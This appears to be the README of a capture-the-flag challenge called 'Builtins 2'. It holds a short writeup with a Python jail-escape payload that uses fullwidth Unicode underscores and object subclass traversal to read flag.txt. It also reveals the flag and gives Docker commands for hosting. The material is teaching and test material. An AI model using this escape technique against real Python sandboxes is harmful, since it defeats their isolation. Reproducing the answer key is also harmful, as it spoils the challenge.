builtins-2

Builtins 2

Level - Hard

Description:

But wait it's different this time...

nc byuctf.xyz 40006

[b2.py]

Writeup

The following payload should work - ()._＿class_＿._＿bases_＿[0]._＿subclasses_＿()[124].get_data('.','flag.txt')

Flag - byuctf{unicode_is_always_the_solution...}

Hosting

This challenge should be a Docker container that runs the Python script b2.py every time someone connects on port 40006. All the proper files are included in here. The command to build the docker container is (when located inside of this directory):

sudo docker build -t b2 .
sudo docker network create -d bridge b2

The command to start the challenge is:

sudo docker run -p 40006:40000 --detach --name b2 --network b2 b2:latest

The command to stop the challenge (since CTRL+C won't work) is:

sudo docker stop b2